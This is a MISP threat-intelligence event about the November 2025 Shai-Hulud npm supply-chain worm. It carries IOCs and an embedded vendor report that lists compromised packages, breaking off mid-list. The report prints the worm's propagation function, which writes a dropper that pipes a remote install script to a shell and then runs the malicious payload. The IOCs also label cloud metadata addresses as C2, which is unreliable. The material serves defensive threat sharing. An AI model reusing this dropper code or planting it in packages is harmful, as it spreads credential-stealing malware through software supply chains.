{
  "Event": {
    "analysis": "0",
    "date": "2025-11-26",
    "extends_uuid": "",
    "info": "Sha1-Hulud - November 2025",
    "publish_timestamp": "1764369103",
    "published": true,
    "threat_level_id": "4",
    "timestamp": "1764261370",
    "uuid": "d8317f65-83e6-46ce-b71d-ab452cff7bb1",
    "Orgc": {
      "name": "Ransom-ISAC",
      "uuid": "36896069-60d2-49af-b5b2-56ce09b5f70d"
    },
    "Tag": [
      {
        "colour": "#BFD806",
        "local": false,
        "name": "Shai-Hulud",
        "relationship_type": ""
      },
      {
        "colour": "#ffffff",
        "local": false,
        "name": "OSINT",
        "relationship_type": ""
      },
      {
        "colour": "#0088cc",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Supply Chain Compromise - T1195\"",
        "relationship_type": ""
      },
      {
        "colour": "#0088cc",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Application Layer Protocol - T1071\"",
        "relationship_type": ""
      },
      {
        "colour": "#004646",
        "local": false,
        "name": "type:OSINT",
        "relationship_type": ""
      },
      {
        "colour": "#0071c3",
        "local": false,
        "name": "osint:lifetime=\"perpetual\"",
        "relationship_type": ""
      },
      {
        "colour": "#0087e8",
        "local": false,
        "name": "osint:certainty=\"50\"",
        "relationship_type": ""
      },
      {
        "colour": "#ffffff",
        "local": false,
        "name": "tlp:white",
        "relationship_type": ""
      },
      {
        "colour": "#ffffff",
        "local": false,
        "name": "tlp:clear",
        "relationship_type": ""
      }
    ],
    "Object": [
      {
        "comment": "",
        "deleted": false,
        "description": "An IP address (or domain or hostname) and a port seen as a tuple (or as a triple) in a specific time frame.",
        "meta-category": "network",
        "name": "ip-port",
        "template_uuid": "9f8cea74-16fe-4968-a2b4-026676949ac6",
        "template_version": "9",
        "timestamp": "1764175763",
        "uuid": "e9e8a48f-dcf3-4c01-8383-d45da68c6353",
        "Attribute": [
          {
            "category": "Network activity",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "ip",
            "timestamp": "1764175763",
            "to_ids": true,
            "type": "ip-dst",
            "uuid": "161d8eac-081b-49db-b23a-530498d69d89",
            "value": "169.254.169.254"
          },
          {
            "category": "Other",
            "comment": "",
            "deleted": false,
            "disable_correlation": true,
            "object_relation": "text",
            "timestamp": "1764175763",
            "to_ids": false,
            "type": "text",
            "uuid": "da27871c-7aa3-4548-b415-bba1505a5012",
            "value": "C2 infrastructure"
          }
        ]
      },
      {
        "comment": "",
        "deleted": false,
        "description": "An IP address (or domain or hostname) and a port seen as a tuple (or as a triple) in a specific time frame.",
        "meta-category": "network",
        "name": "ip-port",
        "template_uuid": "9f8cea74-16fe-4968-a2b4-026676949ac6",
        "template_version": "9",
        "timestamp": "1764175763",
        "uuid": "550572e1-8767-4762-8599-0a23ba42e869",
        "Attribute": [
          {
            "category": "Network activity",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "ip",
            "timestamp": "1764175763",
            "to_ids": true,
            "type": "ip-dst",
            "uuid": "85d837ee-a723-44dd-9303-07fb07a93256",
            "value": "169.254.170.2"
          },
          {
            "category": "Other",
            "comment": "",
            "deleted": false,
            "disable_correlation": true,
            "object_relation": "text",
            "timestamp": "1764175763",
            "to_ids": false,
            "type": "text",
            "uuid": "346861ff-4b4f-4db0-b20d-cecc2cdc98de",
            "value": "C2 infrastructure"
          }
        ]
      },
      {
        "comment": "",
        "deleted": false,
        "description": "File object describing a file with meta-information",
        "meta-category": "file",
        "name": "file",
        "template_uuid": "688c46fb-5edb-40a3-8273-1af7923e2215",
        "template_version": "25",
        "timestamp": "1764175775",
        "uuid": "3ab174de-537e-4b13-9973-e280d1119589",
        "Attribute": [
          {
            "category": "Payload delivery",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "md5",
            "timestamp": "1764175775",
            "to_ids": true,
            "type": "md5",
            "uuid": "0372908b-ce33-48d1-aa4c-e55a060fd38e",
            "value": "2711e7496f9943ad1fac508ef5665867"
          },
          {
            "category": "Other",
            "comment": "",
            "deleted": false,
            "disable_correlation": true,
            "object_relation": "text",
            "timestamp": "1764175775",
            "to_ids": false,
            "type": "text",
            "uuid": "2610d741-03ef-47e3-891f-c36e21ce7252",
            "value": "bun_environment.js sample"
          }
        ]
      }
    ],
    "EventReport": [
      {
        "name": "Report from - https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains (1764176640)",
        "content": "Platform\n\nAikido Platform\n\nOne place for all your software security.\n\nShip secure software,\u00e2\u0080\u00a8from IDE to production.\n\nManage security postures,\u00e2\u0080\u00a8gain cloud visibility.\n\nAutomate application protection, threat detection & response.\n\nDetect, exploit, and validate your entire attack surface, on demand.\n\nSolutions\n\nBy Scanner\n\nDependencies\n\nPrevent open-source risks (SCA)\n\nSecrets\n\nCatch exposed secrets\n\nSAST\n\nSecure code as its written\n\nContainer Images\n\nSecure images easily\n\nMalware\n\nPrevent supply chain attacks\n\nInfrastructure as Code\n\nScan IaC for misconfigurations\n\nLicense Risk & SBOMs\n\nAvoid risk, be compliant\n\nOutdated Software\n\nKnow your EOL runtimes\n\nCSPM\n\nFix misconfigs, exposures, risks.\n\nDAST\n\nBlack-box security testing\n\nAPI Scanning\n\nTest your API\u00e2\u0080\u0099s for vulns\n\nVirtual Machines\n\nNo agents, no overhead\n\nRuntime Protection\n\nIn-app Firewall / WAF\n\nCode Quality\n\nAI code quality review\n\nAutonomous Pentests\n\nAI-driven attack testing\n\nCloud Search\n\nInstant Cloud Visibility\n\nContainer & K8s Scanning\n\nExpose Reachable Vulnerabilities\n\nAI Monitoring\n\nAI Usage Visibility\n\nAttack Surface\n\nUncover External Exposures\n\nBy Use Case\n\nCompliance\n\nVulnerability Management\n\nSecure Your Code\n\nGenerate SBOMs\n\nASPM\n\nCSPM\n\nAI at Aikido\n\nBlock 0-Days\n\nBy Feature\n\nAI AutoFix\n\nCI/CD Security\n\nIDE Integrations\n\nOn-Prem Scanning\n\nBy Stage\n\nStartup\n\nEnterprise\n\nBy Industriy\n\nFinTech\n\nHealthTech\n\nHRTech\n\nLegal Tech\n\nGroup Companies\n\nAgencies\n\nMobile apps\n\nManufacturing\n\nPublic Sector\n\nBanks\n\nSolutions\n\nUse Cases\n\nCompliance\n\nAutomate SOC 2, ISO & more\n\nVulnerability Management\n\nAll-in-1 vuln management\n\nSecure Your Code\n\nAdvanced code security\n\nGenerate SBOMs\n\n1 click SCA reports\n\nASPM\n\nEnd-to-end AppSec\n\nCSPM\n\nEnd-to-end cloud security\n\nAI at Aikido\n\nLet Aikido AI do the work\n\nBlock 0-Days\n\nBlock threats before impact\n\nIndustries\n\nFinTech\n\nHealthTech\n\nHRTech\n\nLegal Tech\n\nGroup Companies\n\nAgencies\n\nStartups\n\nEnterprise\n\nMobile apps\n\nManufacturing\n\nPublic Sector\n\nBanks\n\nResources\n\nDeveloper\n\nDocs\n\nHow to use Aikido\n\nPublic API docs\n\nAikido developer hub\n\nChangelog\n\nSee what shipped\n\nSecurity\n\nIn-house research\n\nMalware & CVE intelligence\n\nTrust Center\n\nSafe, private, compliant\n\nLearn\n\nSoftware Security Academy\n\nStudents\n\nGet Aikido free\n\nOpen Source\n\nAikido Intel\n\nMalware & OSS threat feed\n\nZen\n\nIn-app firewall protection\n\nOpenGrep\n\nCode analysis engine\n\nAikido Safe Chain\n\nPrevent malware during install.\n\nCompany\n\nBlog\n\nGet insights, updates & more\n\nCustomers\n\nTrusted by the best teams\n\nState of AI report\n\nInsights from 450 CISOs and devs\n\nIntegrations\n\nIDEs\n\nCI/CD Systems\n\nClouds\n\nGit Systems\n\nCompliance\n\nMessengers\n\nTask Managers\n\nMore integrations\n\nAbout\n\nAbout\n\nAbout\n\nMeet the team\n\nCareers\n\nWe\u00e2\u0080\u0099re hiring\n\nPress Kit\n\nDownload brand assets\n\nCalendar\n\nSee you around?\n\nOpen Source\n\nOur OSS projects\n\nCustomer Stories\n\nTrusted by the best teams\n\nPartner Program\n\nPartner with us\n\nPricingContact\n\nLogin\n\nStart for Free\n\nNo CC required\n\nMenu\n\nEN\n\nEN\n\nFR\n\nJP\n\nDE\n\nPT\n\nLogin\n\nStart for Free\n\nNo CC required\n\nBlog\n\n/\n\nVulnerabilities & Threats\n\n# Shai Hulud Launches Second Supply-Chain Attack: Zapier, ENS, AsyncAPI, PostHog, Postman Compromised\n\nCharlie Eriksen\n\n|\n\n#Malware\n\nPublished on:\n\nNovember 24, 2025\n\nLast updated on:\n\nNovember 25, 2025\n\nIt's another Monday morning, sitting down at the computer. And I see a stack of alerts from the last hour of packages showing signs of malware in our triage queue. Having not yet finished my first cup of coffee, I see Shai Hulud indicators. Yikes, surely that's a false positive? Nope, welcome to Monday, Shai Hulud struck again. Strap in.\n\n## Timeline of the Shai-Hulud Campaign\n\nThe timing is notable, given npm\u00e2\u0080\u0099s recent announcement that it will revoke classic tokens on December 9 after the wave of supply-chain attacks. With many users still not migrated to trusted publishing, the attacker seized the moment for one more hit before npm\u00e2\u0080\u0099s deadline.\n\n* August 27 - We release our report detailing the S1ngularity campaign targeting several nx packages on npm. \u00c2\n* September 16 - The attacker strikes again, launching the first wave of the Shai-Hulud attacks. \u00c2\n* September 18 - We publish a follow-up analysis, diving deeper into the campaign\u00e2\u0080\u0099s technical quirks and early payload behavior. \u00c2\n* November 24 - A second strike occurs, dubbed the \u00e2\u0080\u009cSecond Coming\u00e2\u0080\u009d by the attackers, timed just before npm\u00e2\u0080\u0099s deadline for revoking old tokens.\n\n## What is Shai-Hulud?: A Quick Refresher\n\nShai-Hulud, named after the gigantic sandworms from Dune as part of the attacker's flair for theatrics, is a self-replicating npm worm built to spread quickly through compromised developer environments. Once it infects a system, it searches for exposed secrets such as API keys and tokens using TruffleHog and publishes anything it finds to a public GitHub repository. It then attempts to push new copies of itself to npm, helping it propagate across the ecosystem, while exfiltrating data back to the attacker. Keeping with the dramatic theme, the attacker refers to this latest wave as the \u00e2\u0080\u009cSecond Coming.\u00e2\u0080\u009d\n\n## Differences from last time\n\nThis time around, there are some significant differences in the attack:\n\n* It install bun with the file `setup_bun.js` and then uses that to execute `bun_environment.js` \u00c2\u00a0which is the actual malicious code.\n* It creates a randomly named repository with stolen data, rather than a hardcoded name.\n* It will infect up to 100 npm packages, compared to 20 last time.\n* If it can't authenticate with GitHub or NPM, it will wipe all files in the users Home directory.\n\n\u00e2\u0080\u008d\n\n## Leaking secrets\n\nThis time, the malware also publishes secrets to GitHub, with a random name and the repository description:\n\n\"Sha1-Hulud: The Second Coming.\"\n\n\u00e2\u0080\u008d\n\nCurrently we see 26.3k repositories exposed:\n\n\u00e2\u0080\u008d\n\n## Mistakes made again\n\nAs we've been analzying all these packages, we've noticed a number of compromised packages that appear to be from community spread, which contain the initial staging code in `setup_bun.js`, but NOT\u00c2\u00a0`bun_environment.js` which is the Shai\u00c2\u00a0Hulud worm itself. Here's the code that spreads the worm into other packages:\n\n```\n  async [\"bundleAssets\"](_0x349b3d) {\n    let _0x2bd41c = a0_0x459ea5.join(_0x349b3d, 'package', \"setup_bun.js\");\n    await iL0(_0x2bd41c, \"#!/usr/bin/env node\\nconst { spawn, execSync } = require('child_process');\\nconst path = require('path');\\nconst fs = require('fs');\\nconst os = require('os');\\n\\nfunction isBunOnPath() {\\n  try {\\n    const command = process.platform === 'win32' ? 'where bun' : 'which bun';\\n    execSync(command, { stdio: 'ignore' });\\n    return true;\\n  } catch {\\n    return false;\\n  }\\n}\\n\\nfunction reloadPath() {\\n  // Reload PATH environment variable\\n  if (process.platform === 'win32') {\\n    try {\\n      // On Windows, get updated PATH from registry\\n      const result = execSync('powershell -c \\\"[Environment]::GetEnvironmentVariable(\\\\'PATH\\\\', \\\\'User\\\\') + \\\\';\\\\' + [Environment]::GetEnvironmentVariable(\\\\'PATH\\\\', \\\\'Machine\\\\')\\\"', {\\n        encoding: 'utf8'\\n      });\\n      process.env.PATH = result.trim();\\n    } catch {\\n    }\\n  } else {\\n    try {\\n      // On Unix systems, source common shell profile files\\n      const homeDir = os.homedir();\\n      const profileFiles = [\\n        path.join(homeDir, '.bashrc'),\\n        path.join(homeDir, '.bash_profile'),\\n        path.join(homeDir, '.profile'),\\n        path.join(homeDir, '.zshrc')\\n      ];\\n\\n      // Try to source profile files to get updated PATH\\n      for (const profileFile of profileFiles) {\\n        if (fs.existsSync(profileFile)) {\\n          try {\\n            const result = execSync(`bash -c \\\"source ${profileFile} && echo $PATH\\\"`, {\\n              encoding: 'utf8',\\n              stdio: ['pipe', 'pipe', 'ignore']\\n            });\\n            if (result && result.trim()) {\\n              process.env.PATH = result.trim();\\n              break;\\n            }\\n          } catch {\\n            // Continue to next profile file\\n          }\\n        }\\n      }\\n\\n      // Also check if ~/.bun/bin exists and add it to PATH if not already there\\n      const bunBinDir = path.join(homeDir, '.bun', 'bin');\\n      if (fs.existsSync(bunBinDir) && !process.env.PATH.includes(bunBinDir)) {\\n        process.env.PATH = `${bunBinDir}:${process.env.PATH}`;\\n      }\\n    } catch {}\\n  }\\n}\\n\\nasync function downloadAndSetupBun() {\\n  try {\\n    let command;\\n    if (process.platform === 'win32') {\\n      // Windows: Use PowerShell script\\n      command = 'powershell -c \\\"irm bun.sh/install.ps1|iex\\\"';\\n    } else {\\n      // Linux/macOS: Use curl + bash script\\n      command = 'curl -fsSL https://bun.sh/install | bash';\\n    }\\n\\n    execSync(command, {\\n      stdio: 'ignore',\\n      env: { ...process.env }\\n    });\\n\\n    // Reload PATH to pick up newly installed bun\\n    reloadPath();\\n\\n    // Find bun executable after installation\\n    const bunPath = findBunExecutable();\\n    if (!bunPath) {\\n      throw new Error('Bun installation completed but executable not found');\\n    }\\n\\n    return bunPath;\\n  } catch  {\\n    process.exit(0);\\n  }\\n}\\n\\nfunction findBunExecutable() {\\n  // Common locations where bun might be installed\\n  const possiblePaths = [];\\n\\n  if (process.platform === 'win32') {\\n    // Windows locations\\n    const userProfile = process.env.USERPROFILE || '';\\n    possiblePaths.push(\\n      path.join(userProfile, '.bun', 'bin', 'bun.exe'),\\n      path.join(userProfile, 'AppData', 'Local', 'bun', 'bun.exe')\\n    );\\n  } else {\\n    // Unix locations\\n    const homeDir = os.homedir();\\n    possiblePaths.push(\\n      path.join(homeDir, '.bun', 'bin', 'bun'),\\n      '/usr/local/bin/bun',\\n      '/opt/bun/bin/bun'\\n    );\\n  }\\n\\n  // Check if bun is now available on PATH\\n  if (isBunOnPath()) {\\n    return 'bun';\\n  }\\n\\n  // Check common installation paths\\n  for (const bunPath of possiblePaths) {\\n    if (fs.existsSync(bunPath)) {\\n      return bunPath;\\n    }\\n  }\\n\\n  return null;\\n}\\n\\nfunction runExecutable(execPath, args = [], opts = {}) {\\n  const child = spawn(execPath, args, {\\n    stdio: 'ignore',\\n    cwd: opts.cwd || process.cwd(),\\n    env: Object.assign({}, process.env, opts.env || {})\\n  });\\n\\n  child.on('error', (err) => {\\n    process.exit(0);\\n  });\\n\\n  child.on('exit', (code, signal) => {\\n    if (signal) {\\n      process.exit(0);\\n    } else {\\n      process.exit(code === null ? 1 : code);\\n    }\\n  });\\n}\\n\\n// Main execution\\nasync function main() {\\n  let bunExecutable;\\n\\n  if (isBunOnPath()) {\\n    // Use bun from PATH\\n    bunExecutable = 'bun';\\n  } else {\\n    // Check if we have a locally downloaded bun\\n    const localBunDir = path.join(__dirname, 'bun-dist');\\n    const possiblePaths = [\\n      path.join(localBunDir, 'bun', 'bun'),\\n      path.join(localBunDir, 'bun', 'bun.exe'),\\n      path.join(localBunDir, 'bun.exe'),\\n      path.join(localBunDir, 'bun')\\n    ];\\n\\n    const existingBun = possiblePaths.find(p => fs.existsSync(p));\\n\\n    if (existingBun) {\\n      bunExecutable = existingBun;\\n    } else {\\n      // Download and setup bun\\n      bunExecutable = await downloadAndSetupBun();\\n    }\\n  }\\n\\n  const environmentScript = path.join(__dirname, 'bun_environment.js');\\n  if (fs.existsSync(environmentScript)) {\\n    runExecutable(bunExecutable, [environmentScript]);\\n  } else {\\n    process.exit(0);\\n  }\\n}\\n\\nmain().catch((error) => {\\n  process.exit(0);\\n});\\n\");\n    let _0x3ed61a = process.argv[0x1];\n    if (_0x3ed61a && (await My1(_0x3ed61a))) {\n      let _0x1028dd = await mL0(_0x3ed61a);\n      if (_0x1028dd !== null) {\n        let _0x4cc8b3 = a0_0x459ea5.join(_0x349b3d, \"package\", \"bun_environment.js\");\n        await iL0(_0x4cc8b3, _0x1028dd);\n      }\n    }\n  }\n```\n\nWe see that the `bun_environment.js` may sometimes not be bundled, depending on different factors. It appears that mistakes were once again made by the attackers. This appears to have limited the imapct of the attack at this time.\n\n\u00e2\u0080\u008d\n\n## Compromised GitHub repositories\n\nThe AsyncAPI\u00c2\u00a0team detected that there had been a branch of their CLI\u00c2\u00a0project, which was created just prior to the malicious packages being pushed, which deployed a version of the Shai\u00c2\u00a0Hulud malware.\n\nhttps://github.com/asyncapi/cli/blob/2efa4dff59bc3d3cecdf897ccf178f99b115d63d/bun\\_environment.js\n\nThis suggests that the attackers may have used a similar technique to how they pulled off the original Nx compromise.\n\n## Companies acknowlege incident\n\nGiven the nature of the incident, we were very happy to see companies quickly acknowledge what happened, in posts from these companies:\n\n* PostHog\n* Postman\n\n## Patient zero\n\nWe detected the first packages starting at 11/24/2025 3:16:26 AM GMT+0, which were the packages go-template, and 36 packages from `AsyncAPI`. Many more packages were quickly compromised. Afterwards, they started compromising PostHog packages at 11/24/2025 \u00c2\u00a04:11:55 AM GMT+0, and Postman packages at 11/24/2025 \u00c2\u00a05:09:25 AM\u00c2\u00a0GMT+0.  \n\u00e2\u0080\u008d\n\n## Which packages are affected?\n\nWe've detected the following packages compromised with a new version of Shai Hulud. Between all these 492 packages, they have a total of 132 million monthly downloads:\n\n* @asyncapi/diff\n* @asyncapi/nodejs-ws-template\n* go-template\n* @asyncapi/avro-schema-parser\n* @asyncapi/converter\n* @asyncapi/dotnet-rabbitmq-template\n* @asyncapi/nunjucks-filters\n* @asyncapi/protobuf-schema-parser\n* @asyncapi/problem\n* @asyncapi/optimizer\n* @asyncapi/python-paho-template\n* @asyncapi/multi-parser\n* @asyncapi/bundler\n* @asyncapi/php-template\n* asyncapi-preview\n* @asyncapi/java-spring-cloud-stream-template\n* @asyncapi/modelina-cli\n* @asyncapi/generator-helpers\n* @asyncapi/java-template\n* @asyncapi/react-component\n* @asyncapi/generator\n* @asyncapi/server-api\n* @asyncapi/java-spring-template\n* @asyncapi/cli\n* @asyncapi/web-component\n* @asyncapi/specs\n* @asyncapi/modelina\n* @asyncapi/parser\n* @asyncapi/html-template\n* @asyncapi/go-watermill-template\n* @asyncapi/openapi-schema-parser\n* @asyncapi/edavisualiser\n* @asyncapi/generator-components\n* dotnet-template\n* @asyncapi/keeper\n* github-action-for-generator\n* @asyncapi/nodejs-template\n* @asyncapi/markdown-template\n* @quick-start-soft/quick-git-clean-markdown\n* @quick-start-soft/quick-markdown-image\n* @quick-start-soft/quick-markdown-translator\n* @quick-start-soft/quick-markdown\n* test23112222-api\n* @asyncapi/generator-react-sdk\n* @quick-start-soft/quick-markdown-compose\n* iron-shield-miniapp\n* manual-billing-system-miniapp-api\n* shinhan-limit-scrap\n* @strapbuild/react-native-perspective-image-cropper\n* react-native-use-modal\n* @quick-start-soft/quick-task-refine\n* @strapbuild/react-native-date-time-picker\n* @strapbuild/react-native-perspective-image-cropper-2\n* create-glee-app\n* @strapbuild/react-native-perspective-image-cropper-poojan31\n* @asyncapi/studio\n* @quick-start-soft/quick-markdown-print\n* @quick-start-soft/quick-remove-image-background\n* eslint-config-zeallat-base\n* korea-administrative-area-geo-json-util\n* @quick-start-soft/quick-document-translator\n* axios-builder\n* posthog-node\n* @posthog/first-time-event-tracker\n* @posthog/event-sequence-timer-plugin\n* @posthog/gitub-star-sync-plugin\n* posthog-plugin-hello-world\n* @posthog/bitbucket-release-tracker\n* @posthog/maxmind-plugin\n* @posthog/postgres-plugin\n* @posthog/twilio-plugin\n* @posthog/cli\n* @posthog/clickhouse\n* @posthog/snowflake-export-plugin\n* posthog-react-native-session-replay\n* @posthog/drop-events-on-property-plugin\n* @posthog/github-release-tracking-plugin\n* @posthog/icons\n* @posthog/geoip-plugin\n* @posthog/intercom-plugin\n* @posthog/plugin-unduplicates\n* @posthog/react-rrweb-player\n* drop-events-on-property-plugin\n* @posthog/ingestion-alert-plugin\n* @posthog/kinesis-plugin\n* @posthog/laudspeaker-plugin\n* @posthog/nextjs\n* @posthog/nextjs-config\n* @posthog/automatic-cohorts-plugin\n* @posthog/migrator3000-plugin\n* @posthog/pagerduty-plugin\n* @posthog/plugin-contrib\n* @posthog/sendgrid-plugin\n* @posthog/customerio-plugin\n* @posthog/rrweb-utils\n* @posthog/taxonomy-plugin\n* @posthog/zendesk-plugin\n* @posthog/netdata-event-processing\n* @posthog/url-normalizer-plugin\n* posthog-docusaurus\n* @posthog/currency-normalization-plugin\n* @posthog/filter-out-plugin\n* @posthog/heartbeat-plugin\n* @actbase/react-native-fast-image\n* @posthog/ai\n* @posthog/databricks-plugin\n* @actbase/react-native-kakao-channel\n* calc-loan-interest\n* @actbase/react-absolute\n* @actbase/react-daum-postcode\n* @actbase/react-native-simple-video\n* @posthog/core\n* @posthog/lemon-ui\n* @seung-ju/next\n* @seung-ju/react-hooks\n* posthog-react-native\n* @actbase/css-to-react-native-transform\n* @actbase/react-native-actionsheet\n* @actbase/react-native-tiktok\n* @seung-ju/react-native-action-sheet\n* @actbase/react-kakaosdk\n* @posthog/agent\n* @posthog/variance-plugin\n* discord-bot-server\n* @posthog/rrweb-replay\n* @posthog/rrweb-snapshot\n* @actbase/node-server\n* @actbase/react-native-devtools\n* @posthog/plugin-server\n* @posthog/rrweb-record\n* @actbase/native\n* @actbase/react-native-less-transformer\n* @posthog/rrweb\n* posthog-js\n* @posthog/web-dev-server\n* @posthog/piscina\n* @posthog/nuxt\n* @posthog/rrweb-player\n* @posthog/wizard\n* @actbase/react-native-kakao-navi\n* @posthog/siphash\n* @posthog/twitter-followers-plugin\n* @actbase/react-native-naver-login\n* @seung-ju/openapi-generator\n* @posthog/rrdom\n* @posthog/hedgehog-mode\n* react-native-worklet-functions\n* expo-audio-session\n* poper-react-sdk\n* @postman/secret-scanner-wasm\n* @postman/csv-parse\n* @postman/node-keytar\n* @postman/tunnel-agent\n* @postman/pm-bin-macos-arm64\n* @postman/pm-bin-linux-x64\n* @postman/postman-collection-fork\n* @postman/postman-mcp-server\n* @postman/wdio-junit-reporter\n* @postman/aether-icons\n* @postman/postman-mcp-cli\n* @postman/pretty-ms\n* @postman/pm-bin-windows-x64\n* @postman/wdio-allure-reporter\n* @postman/final-node-keytar\n* @postman/pm-bin-macos-x64\n* @aryanhussain/my-angular-lib\n* capacitor-plugin-apptrackingios\n* capacitor-plugin-purchase\n* capacitor-purchase-history\n* capacitor-voice-recorder-wav\n* scgs-capacitor-subscribe\n* @postman/mcp-ui-client\n* capacitor-plugin-scgssigninwithgoogle\n* @kvytech/medusa-plugin-announcement\n* @kvytech/medusa-plugin-product-reviews\n* medusa-plugin-zalopay\n* scgsffcreator\n* @kvytech/habbit-e2e-test\n* medusa-plugin-logs\n* medusa-plugin-product-reviews-kvy\n* @kvytech/medusa-plugin-promotion\n* medusa-plugin-momo\n* @kvytech/components\n* medusa-plugin-announcement\n* @kvytech/cli\n* @kvytech/medusa-plugin-newsletter\n* @kvytech/medusa-plugin-management\n* @kvytech/web\n* create-hardhat3-app\n* test-hardhat-app\n* evm-checkcode-cli\n* gate-evm-tools-test\n* gate-evm-check-code2\n* web-types-htmx\n* test-foundry-app\n* web-types-lit\n* bun-plugin-httpfile\n* open2internet\n* vite-plugin-httpfile\n* @ensdomains/vite-plugin-i18next-loader\n* @ensdomains/blacklist\n* @ensdomains/durin\n* @ensdomains/renewal\n* @ensdomains/cypress-metamask\n* bytecode-checker-cli\n* @ensdomains/dnsprovejs\n* @ensdomains/ccip-read-dns-gateway\n* @ensdomains/ccip-read-cf-worker\n* @ensdomains/dnssec-oracle-anchors\n* @ensdomains/reverse-records\n* @ensdomains/ens-test-env\n* @ensdomains/hackathon-registrar\n* @ensdomains/renewal-widget\n* crypto-addr-codec\n* @ensdomains/solsha1\n* @ensdomains/server-analytics\n* @ensdomains/ui\n* @ensdomains/test-utils\n* @ensdomains/mock\n* @ensdomains/ccip-read-router\n* @zapier/babel-preset-zapier\n* @ensdomains/hardhat-chai-matchers-viem\n* @ensdomains/ccip-read-worker-viem\n* @zapier/browserslist-config-zapier\n* @zapier/zapier-sdk\n* @zapier/stubtree\n* zapier-async-storage\n* @zapier/ai-actions\n* @zapier/mcp-integration\n* @zapier/spectral-api-ruleset\n* @ensdomains/address-encoder\n* redux-router-kit\n* @ensdomains/eth-ens-namehash\n* zapier-scripts\n* @ensdomains/buffer\n* @ensdomains/thorin\n* zapier-platform-legacy-scripting-runner\n* zapier-platform-schema\n* @ensdomains/dnssecoraclejs\n* zapier-platform-core\n* @ensdomains/op-resolver-contracts\n* @ensdomains/ens-archived-contracts\n* @ensdomains/ensjs\n* @ensdomains/subdomain-registrar\n* @ensdomains/unruggable-gateways\n* @ensdomains/web3modal\n* zapier-platform-cli\n* @ensdomains/ens-contracts\n* @ensdomains/react-ens-address\n* @ensdomains/curvearithmetics\n* @zapier/secret-scrubber\n* @ensdomains/hardhat-toolbox-viem-extended\n* ethereum-ens\n* @ensdomains/durin-middleware\n* @ensdomains/unicode-confusables\n* @ensdomains/ensjs-react\n* @ensdomains/content-hash\n* @ensdomains/ens-avatar\n* @zapier/ai-actions-react\n* @zapier/eslint-plugin-zapier\n* @ensdomains/offchain-resolver-contracts\n* @ensdomains/ens-validation\n* @ensdomains/name-wrapper\n* @hapheus/n8n-nodes-pgp\n* @markvivanco/app-version-checker\n* claude-token-updater\n* n8n-nodes-tmdb\n* devstart-cli\n* skills-use\n* @mcp-use/inspector\n* zuper-sdk\n* zuper-stream\n* @mcp-use/mcp-use\n* create-mcp-use-app\n* mcp-use\n* @mcp-use/cli\n* zuper-cli\n* @caretive/caret-cli\n* cpu-instructions\n* lite-serper-mcp-server\n* @louisle2/core\n* jan-browser\n* exact-ticker\n* react-library-setup\n* orbit-soap\n* @orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode\n* token.js-fork\n* react-component-taggers\n* @louisle2/cortex-js\n* orbit-nebula-editor\n* @trigo/pathfinder-ui-css\n* @trigo/jsdt\n* @trigo/atrix-redis\n* @trigo/eslint-config-trigo\n* @trigo/atrix-orientdb\n* @trigo/node-soap\n* eslint-config-trigo\n* @trigo/bool-expressions\n* @trigo/atrix-pubsub\n* @trigo/atrix-elasticsearch\n* @trigo/hapi-auth-signedlink\n* @trigo/keycloak-api\n* @trigo/atrix-soap\n* @trigo/atrix-swagger\n* @trigo/atrix-acl\n* atrix\n* redux-forge\n* @trigo/atrix-mongoose\n* @trigo/atrix\n* orbit-boxicons\n* atrix-mongoose\n* bool-expressions\n* react-element-prompt-inspector\n* trigo-react-app\n* @trigo/trigo-hapijs\n* @trigo/fsm\n* command-irail\n* @orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode\n* @trigo/atrix-postgres\n* @orbitgtbelgium/time-slider\n* @orbitgtbelgium/orbit-components\n* orbit-nebula-draw-tools\n* typeorm-orbit\n* @mparpaillon/connector-parse\n* @mparpaillon/imagesloaded\n* @commute/market-data\n* gitsafe\n* @osmanekrem/error-handler\n* @commute/bloom\n* okta-react-router-6\n* designstudiouiux\n* itobuz-angular\n* @ifelsedeveloper/protocol-contracts-svm-idl\n* ito-button\n* @dev-blinq/cucumber\\_client\n* blinqio-executions-cli\n* itobuz-angular-auth\n* @dev-blinq/ai-qa-logic\n* axios-timed\n* react-native-email\n* tenacious-fetch\n* kill-port\n* jacob-zuma\n* luno-api\n* @lessondesk/eslint-config\n* sort-by-distance\n* just-toasty\n* image-to-uri\n* react-native-phone-call\n* formik-error-focus\n* jquery-bindings\n* @lessondesk/babel-preset\n* barebones-css\n* coinmarketcap-api\n* license-o-matic\n* @varsityvibe/api-client\n* pico-uid\n* hyperterm-hipster\n* set-nested-prop\n* bytes-to-x\n* enforce-branch-name\n* fittxt\n* get-them-args\n* react-native-retriable-fetch\n* svelte-autocomplete-select\n* feature-flip\n* lint-staged-imagemin\n* react-native-view-finder\n* formik-store\n* shell-exec\n* react-native-log-level\n* @everreal/web-analytics\n* react-native-jam-icons\n* @thedelta/eslint-config\n* parcel-plugin-asset-copier\n* react-native-websocket\n* ra-data-firebase\n* react-jam-icons\n* react-native-fetch\n* @ifings/design-system\n* gatsby-plugin-cname\n* @alexcolls/nuxt-ux\n* react-native-datepicker-modal\n* undefsafe-typed\n* chrome-extension-downloads\n* @alexcolls/nuxt-socket.io\n* fuzzy-finder\n* sa-company-registration-number-regex\n* flapstacks\n* react-keycloak-context\n* react-qr-image\n* @tiaanduplessis/react-progressbar\n* @lessondesk/schoolbus\n* @tiaanduplessis/json\n* react-native-get-pixel-dimensions\n* nanoreset\n* next-circular-dependency\n* url-encode-decode\n* axios-cancelable\n* compare-obj\n* wenk\n* haufe-axera-api-client\n* obj-to-css\n* sa-id-gen\n* @lessondesk/api-client\n* @varsityvibe/validation-schemas\n* flatten-unflatten\n* stoor\n* @clausehq/flows-step-jsontoxml\n* @accordproject/concerto-analysis\n* hope-mapboxdraw\n* count-it-down\n* hopedraw\n* @accordproject/markdown-it-cicero\n* piclite\n* @fishingbooker/react-swiper\n* @fishingbooker/browser-sync-plugin\n* generator-meteor-stock\n* @fishingbooker/react-loader\n* benmostyn-frame-print\n* @fishingbooker/react-pagination\n* @voiceflow/anthropic\n* @voiceflow/voice-types\n* @voiceflow/default-prompt-wrappers\n* 